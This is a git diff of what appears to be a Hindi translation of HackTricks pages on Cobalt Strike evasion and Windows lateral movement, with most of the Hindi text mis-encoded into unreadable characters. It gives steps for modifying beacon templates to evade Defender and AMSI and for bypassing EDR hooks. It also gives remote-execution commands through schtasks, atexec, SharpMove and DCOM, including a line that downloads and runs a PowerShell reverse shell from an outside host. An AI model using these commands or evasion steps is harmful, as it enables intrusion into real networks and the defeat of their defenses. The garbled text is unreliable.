рдЬрд╛ рд╕рдХреЗред рдпрд╣ рдмрд╣реБрдд рдЫрд┐рдкрд╛ рд╣реБрдЖ рдирд╣реАрдВ рд╣реИ рдФрд░ EDRs рджреНрд╡рд╛рд░рд╛ рдЖрд╕рд╛рдиреА рд╕реЗ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, `rundll32.exe` рдмрд┐рдирд╛ рдХрд┐рд╕реА args рдХреЗ рдЪрд▓рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕рд╕реЗ рдпрд╣ рдФрд░ рднреА рд╕рдВрджрд┐рдЧреНрдз рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред + +Cobalt Strike рдХреЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде, рдЖрдк рдирдП рдмреАрдХрди рдХреЛ рд╕реНрдкреЙрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрд▓рдЧ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдЗрд╕реЗ рдкрд╣рдЪрд╛рдирдирд╛ рдХрдо рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ: +```bash +spawnto x86 svchost.exe +``` +рдЖрдк рдЗрд╕ рд╕реЗрдЯрд┐рдВрдЧ рдХреЛ **`spawnto_x86` рдФрд░ `spawnto_x64`** рдХреЛ рдПрдХ рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рдореЗрдВ рднреА рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВред + +### рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЗ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рдкреНрд░реЙрдХреНрд╕реА рдХрд░рдирд╛ + +рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ рдХрднреА-рдХрднреА рдЙрдкрдХрд░рдгреЛрдВ рдХреЛ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рдЪрд▓рд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рд▓рд┐рдирдХреНрд╕ рдорд╢реАрдиреЛрдВ рдореЗрдВ рднреА, рдФрд░ рдкреАрдбрд╝рд┐рддреЛрдВ рдХрд╛ рдЯреНрд░реИрдлрд╝рд┐рдХ рдЙрдкрдХрд░рдг рддрдХ рдкрд╣реБрдБрдЪрд╛рдирд╛ рд╣реЛрддрд╛ рд╣реИ (рдЬреИрд╕реЗ NTLM рд░рд┐рд▓реЗ)ред + +рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдХрднреА-рдХрднреА рдкрд╛рд╕-рдереА-рд╣реИрд╢ рдпрд╛ рдкрд╛рд╕-рдереА-рдЯрд┐рдХрдЯ рд╣рдорд▓реЗ рдХреЛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд▓рд┐рдП **рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ LSASS рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдЗрд╕ рд╣реИрд╢ рдпрд╛ рдЯрд┐рдХрдЯ рдХреЛ рдЬреЛрдбрд╝рдирд╛** рдЕрдзрд┐рдХ рдЫрд┐рдкрд╛ рд╣реБрдЖ рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ рдЗрд╕рд╕реЗ рдкрд┐рд╡рдЯ рдХрд░рдирд╛ рд╣реЛрддрд╛ рд╣реИ рдмрдЬрд╛рдп рдЗрд╕рдХреЗ рдХрд┐ рд╡рд╣ рдкреАрдбрд╝рд┐рдд рдорд╢реАрди рдХреЗ LSASS рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗред + +рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЖрдкрдХреЛ **рдЙрддреНрдкрдиреНрди рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЗ рд╕рд╛рде рд╕рд╛рд╡рдзрд╛рди рд░рд╣рдирд╛ рдЪрд╛рд╣рд┐рдП**, рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рдЕрдкрдиреЗ рдмреИрдХрдбреЛрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рдЕрд╕рд╛рдорд╛рдиреНрдп рдЯреНрд░реИрдлрд╝рд┐рдХ (kerberos?) рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рд▓рд┐рдП рдЖрдк рдПрдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдкрд┐рд╡рдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЖрдк рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдЦреБрдж рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рддреЗ рд╕рдордп рдкрдХрдбрд╝реЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЫрд┐рдкрд╛ рд╣реБрдЖ рддрд░реАрдХрд╛ рд╕реЛрдЪреЗрдВ)ред +```bash + +### Avoiding AVs + +#### AV/AMSI/ETW Bypass + +Check the page: + +{{#ref}} +av-bypass.md +{{#endref}} + + +#### Artifact Kit + +Usually in `/opt/cobaltstrike/artifact-kit` you can find the code and pre-compiled templates (in `/src-common`) of the payloads that cobalt strike is going to use to generate the binary beacons. + +Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the generated backdoor (or just with the compiled template) you can find what is making defender trigger. It's usually a string. Therefore you can just modify the code that is generating the backdoor so that string doesn't appear in the final binary. + +After modifying the code just run `./build.sh` from the same directory and copy the `dist-pipe/` folder into the Windows client in `C:\Tools\cobaltstrike\ArtifactKit`. -рдХреЛрдб рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдмрд╕ рдЙрд╕реА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕реЗ `./build.sh` рдЪрд▓рд╛рдПрдБ рдФрд░ `dist-pipe/` рдлрд╝реЛрд▓реНрдбрд░ рдХреЛ Windows рдХреНрд▓рд╛рдЗрдВрдЯ рдореЗрдВ `C:\Tools\cobaltstrike\ArtifactKit` рдореЗрдВ рдХреЙрдкреА рдХрд░реЗрдВред ``` pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe . ``` -`dist-pipe\artifact.cna` рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд▓реЛрдб рдХрд░рдирд╛ рди рднреВрд▓реЗрдВ рддрд╛рдХрд┐ Cobalt Strike рдХреЛ рдпрд╣ рд╕рдВрдХреЗрдд рдорд┐рд▓реЗ рдХрд┐ рд╣рдо рдбрд┐рд╕реНрдХ рд╕реЗ рдЙрди рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдЬреЛ рд╣рдо рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдФрд░ рди рдХрд┐ рд▓реЛрдб рдХрд┐рдП рдЧрдП рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХрд╛ред -### Resource Kit +Don't forget to load the aggressive script `dist-pipe\artifact.cna` to indicate Cobalt Strike to use the resources from disk that we want and not the ones loaded. -ResourceKit рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ Cobalt Strike рдХреЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ-рдЖрдзрд╛рд░рд┐рдд рдкреЗрд▓реЛрдб рдХреЗ рд▓рд┐рдП рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ PowerShell, VBA рдФрд░ HTA рд╢рд╛рдорд┐рд▓ рд╣реИрдВред +#### Resource Kit + +The ResourceKit folder contains the templates for Cobalt Strike's script-based payloads including PowerShell, VBA and HTA. + +Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the templates you can find what is defender (AMSI in this case) not liking and modify it: -[ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдХреЗ рд╕рд╛рде рдЖрдк рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдбрд┐рдлреЗрдВрдбрд░ (рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ AMSI) рдХреЛ рдХреНрдпрд╛ рдкрд╕рдВрдж рдирд╣реАрдВ рд╣реИ рдФрд░ рдЗрд╕реЗ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ``` .\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1 ``` -рдкрд╣рдЪрд╛рдиреЗ рдЧрдП рд▓рд╛рдЗрдиреЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдХреЗ рдПрдХ рдЯреЗрдореНрдкрд▓реЗрдЯ рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдкрдХрдбрд╝рд╛ рдирд╣реАрдВ рдЬрд╛рдПрдЧрд╛ред -`ResourceKit\resources.cna` рдирд╛рдордХ рдЖрдХреНрд░рд╛рдордХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд▓реЛрдб рдХрд░рдирд╛ рди рднреВрд▓реЗрдВ рддрд╛рдХрд┐ Cobalt Strike рдХреЛ рдпрд╣ рд╕рдВрдХреЗрдд рдорд┐рд▓реЗ рдХрд┐ рд╣рдо рдбрд┐рд╕реНрдХ рд╕реЗ рдЙрди рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдЬреЛ рд▓реЛрдб рдХрд┐рдП рдЧрдП рд╣реИрдВред +Modifying the detected lines one can generate a template that won't be caught. + +Don't forget to load the aggressive script `ResourceKit\resources.cna` to indicate Cobalt Strike to luse the resources from disk that we want and not the ones loaded. + +#### Function hooks | Syscall + +Function hooking is a very common method of ERDs to detect malicious activity. Cobalt Strike allows you to bypass these hooks by using **syscalls** instead of the standard Windows API calls using the **`None`** config, or use the `Nt*` version of a function with the **`Direct`** setting, or just jumping over the `Nt*` function with the **`Indirect`** option in the malleable profile. Depending on the system, an optino might be more stealth then the other. + +This can be set in the profile or suing the command **`syscall-method`** + +However, this could also be noisy. + +Some option granted by Cobalt Strike to bypass function hooks is to remove those hooks with: [**unhook-bof**](https://github.com/Cobalt-Strike/unhook-bof). + +You could also check with functions are hooked with [**https://github.com/Mr-Un1k0d3r/EDRs**](https://github.com/Mr-Un1k0d3r/EDRs) or [**https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector**](https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector) + + + + ```bash -cd C:\Tools\neo4j\bin -neo4j.bat console -http://localhost:7474/ --> Change password -execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL +cd C:\Tools\neo4j\bin +neo4j.bat console +http://localhost:7474/ --> рдкрд╛рд╕рд╡рд░реНрдб рдмрджрд▓реЗрдВ +execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL +# Change powershell +C:\Tools\cobaltstrike\ResourceKit +template.x64.ps1 +# Change $var_code -> $polop +# $x --> $ar +cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna - -# Change powershell -C:\Tools\cobaltstrike\ResourceKit -template.x64.ps1 -# Change $var_code -> $polop -# $x --> $ar -cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna - -#artifact kit -cd C:\Tools\cobaltstrike\ArtifactKit +#artifact kit +cd C:\Tools\cobaltstrike\ArtifactKit pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe . - - ``` - diff --git a/src/windows-hardening/lateral-movement/README.md b/src/windows-hardening/lateral-movement/README.md index 237ec0b54..baed3166e 100644 --- a/src/windows-hardening/lateral-movement/README.md +++ b/src/windows-hardening/lateral-movement/README.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -рдмрд╛рд╣рд░реА рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рддрд░реАрдХреЗ рд╣реИрдВ, рдпрд╣рд╛рдБ рдЖрдк рдореБрдЦреНрдп Windows рд▓реЗрдЯрд░рд▓ рдореВрд╡рдореЗрдВрдЯ рддрдХрдиреАрдХреЛрдВ рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХреА рд╡реНрдпрд╛рдЦреНрдпрд╛ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: +рдмрд╛рд╣рд░реА рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рддрд░реАрдХреЗ рд╣реИрдВ, рдпрд╣рд╛рдБ рдЖрдк рдореБрдЦреНрдп Windows рд▓реЗрдЯрд░рд▓ рдореВрд╡рдореЗрдВрдЯ рддрдХрдиреАрдХреЛрдВ рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╡реНрдпрд╛рдЦреНрдпрд╛рдПрдБ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: - [**PsExec**](psexec-and-winexec.md) - [**SmbExec**](smbexec.md) @@ -10,6 +10,8 @@ - [**AtExec / SchtasksExec**](atexec.md) - [**WinRM**](winrm.md) - [**DCOM Exec**](dcom-exec.md) +- [**RDPexec**](rdpexec.md) +- [**SCMexec**](scmexec.md) - [**Pass the cookie**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.html) (cloud) - [**Pass the PRT**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.html) (cloud) - [**Pass the AzureAD Certificate**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.html) (cloud) diff --git a/src/windows-hardening/lateral-movement/atexec.md b/src/windows-hardening/lateral-movement/atexec.md index d40ea0221..1f7c3925d 100644 --- a/src/windows-hardening/lateral-movement/atexec.md +++ b/src/windows-hardening/lateral-movement/atexec.md @@ -4,7 +4,7 @@ ## рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ -At рдЖрдкрдХреЛ рдЙрди рд╣реЛрд╕реНрдЯ рдореЗрдВ рдХрд╛рд░реНрдп рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдЖрдк рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо/(рдкрд╛рд╕рд╡рд░реНрдб/рд╣реИрд╢) рдЬрд╛рдирддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдЖрдк рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрдиреНрдп рд╣реЛрд╕реНрдЯ рдореЗрдВ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдФрд░ рдЖрдЙрдЯрдкреБрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +At рдЖрдкрдХреЛ рдЙрди рд╣реЛрд╕реНрдЯ рдореЗрдВ рдХрд╛рд░реНрдп рд╢реЗрдбреНрдпреВрд▓ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдЖрдк рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо/(рдкрд╛рд╕рд╡рд░реНрдб/рд╣реИрд╢) рдЬрд╛рдирддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдЖрдк рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрдиреНрдп рд╣реЛрд╕реНрдЯ рдореЗрдВ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдФрд░ рдЖрдЙрдЯрдкреБрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ``` At \\victim 11:00:00PM shutdown -r ``` @@ -18,10 +18,18 @@ schtasks /run /tn /S schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'" schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local ``` +рдЖрдк **Impacket's `atexec.py`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ AT рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рджреВрд░рд╕реНрде рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рд▓рд┐рдП рд▓рдХреНрд╖рд┐рдд рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд▓рд┐рдП рдорд╛рдиреНрдп рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ (рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рдпрд╛ рд╣реИрд╢) рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред +```bash +atexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' whoami +``` рдЖрдк [SharpLateral](https://github.com/mertdas/SharpLateral) рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName ``` -[**schtasks рдХреЗ рд╕рд╛рде рд╕рд┐рд▓реНрд╡рд░ рдЯрд┐рдХрдЯ рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдБ**](../active-directory-methodology/silver-ticket.md#host). +рдЖрдк [SharpMove](https://github.com/0xthirteen/SharpMove) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +```bash +SharpMove.exe action=taskscheduler computername=remote.host.local command="C:\windows\temp\payload.exe" taskname=Debug amsi=true username=domain\\user password=password +``` +[**рд╕рд┐рд▓реНрд╡рд░ рдЯрд┐рдХрдЯ рдХреЗ рд╕рд╛рде schtasks рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдБ**](../active-directory-methodology/silver-ticket.md#host). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/lateral-movement/dcom-exec.md b/src/windows-hardening/lateral-movement/dcomexec.md similarity index 72% rename from src/windows-hardening/lateral-movement/dcom-exec.md rename to src/windows-hardening/lateral-movement/dcomexec.md index 831fc9cb7..8cd01eb15 100644 --- a/src/windows-hardening/lateral-movement/dcom-exec.md +++ b/src/windows-hardening/lateral-movement/dcomexec.md @@ -12,19 +12,19 @@ Get-CimInstance Win32_DCOMApplication ``` COM рдСрдмреНрдЬреЗрдХреНрдЯ, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), MMC рд╕реНрдиреИрдк-рдЗрди рдСрдкрд░реЗрд╢рдиреЛрдВ рдХреЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯрд┐рдВрдЧ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдЗрд╕ рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ `Document.ActiveView` рдХреЗ рддрд╣рдд `ExecuteShellCommand` рд╡рд┐рдзрд┐ рд╢рд╛рдорд┐рд▓ рд╣реИред рдЗрд╕ рд╡рд┐рдзрд┐ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА [рдпрд╣рд╛рдВ]() рдорд┐рд▓ рд╕рдХрддреА рд╣реИред рдЗрд╕реЗ рдЪрд▓рд╛рддреЗ рд╣реБрдП рджреЗрдЦреЗрдВ: -рдпрд╣ рд╕реБрд╡рд┐рдзрд╛ рдПрдХ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ DCOM рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рд╕реБрд╡рд┐рдзрд╛ рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИред DCOM рдХреЗ рд╕рд╛рде рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рдПрдХ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, PowerShell рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рддрд░реАрдХреЗ рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: -```powershell +рдпрд╣ рд╕реБрд╡рд┐рдзрд╛ DCOM рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рд╕реБрд╡рд┐рдзрд╛ рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИред рдПрдХ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдХреЗ рд░реВрдк рдореЗрдВ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ DCOM рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, PowerShell рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рддрд░реАрдХреЗ рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: +```bash [activator]::CreateInstance([type]::GetTypeFromProgID("", "")) ``` рдпрд╣ рдХрдорд╛рдВрдб DCOM рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рддрд╛ рд╣реИ рдФрд░ COM рдСрдмреНрдЬреЗрдХреНрдЯ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рд▓реМрдЯрд╛рддрд╛ рд╣реИред ExecuteShellCommand рд╡рд┐рдзрд┐ рдХреЛ рдлрд┐рд░ рджреВрд░рд╕реНрде рд╣реЛрд╕реНрдЯ рдкрд░ рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмреБрд▓рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЪрд░рдг рд╢рд╛рдорд┐рд▓ рд╣реИрдВ: Check methods: -```powershell +```bash $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10")) $com.Document.ActiveView | Get-Member ``` RCE рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ: -```powershell +```bash $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10")) $com | Get-Member @@ -42,21 +42,26 @@ ls \\10.10.10.10\c$\Users ### ShellWindows -`ShellWindows` рдХреЗ рд▓рд┐рдП, рдЬреЛ рдПрдХ ProgID рдХреА рдХрдореА рд╣реИ, .NET рд╡рд┐рдзрд┐рдпрд╛рдБ `Type.GetTypeFromCLSID` рдФрд░ `Activator.CreateInstance` рдЗрд╕рдХреЗ AppID рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдСрдмреНрдЬреЗрдХреНрдЯ рдЗрдВрд╕реНрдЯреЗрдВрдЯрд┐рдПрд╢рди рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рддреА рд╣реИрдВред рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ `ShellWindows` рдХреЗ рд▓рд┐рдП CLSID рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП OleView .NET рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИред рдПрдХ рдмрд╛рд░ рдЗрдВрд╕реНрдЯреЗрдВрдЯрд┐рдПрдЯ рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж, `WindowsShell.Item` рд╡рд┐рдзрд┐ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЗрдВрдЯрд░реИрдХреНрд╢рди рд╕рдВрднрд╡ рд╣реИ, рдЬрд┐рд╕рд╕реЗ `Document.Application.ShellExecute` рдЬреИрд╕реА рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рдЖрд╣реНрд╡рд╛рди рд╣реЛрддрд╛ рд╣реИред +`ShellWindows` рдХреЗ рд▓рд┐рдП, рдЬреЛ рдПрдХ ProgID рдХреА рдХрдореА рд╣реИ, .NET рд╡рд┐рдзрд┐рдпрд╛рдБ `Type.GetTypeFromCLSID` рдФрд░ `Activator.CreateInstance` рдЗрд╕рдХреЗ AppID рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдСрдмреНрдЬреЗрдХреНрдЯ рдЗрдВрд╕реНрдЯреЗрдВрд╢рд┐рдПрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рд╣рд╛рдпрддрд╛ рдХрд░рддреА рд╣реИрдВред рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ `ShellWindows` рдХреЗ рд▓рд┐рдП CLSID рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП OleView .NET рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИред рдПрдХ рдмрд╛рд░ рдЗрдВрд╕реНрдЯреЗрдВрд╢рд┐рдПрдЯ рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж, `WindowsShell.Item` рд╡рд┐рдзрд┐ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЗрдВрдЯрд░реИрдХреНрд╢рди рд╕рдВрднрд╡ рд╣реИ, рдЬрд┐рд╕рд╕реЗ `Document.Application.ShellExecute` рдЬреИрд╕реА рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рдЖрд╣реНрд╡рд╛рди рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред 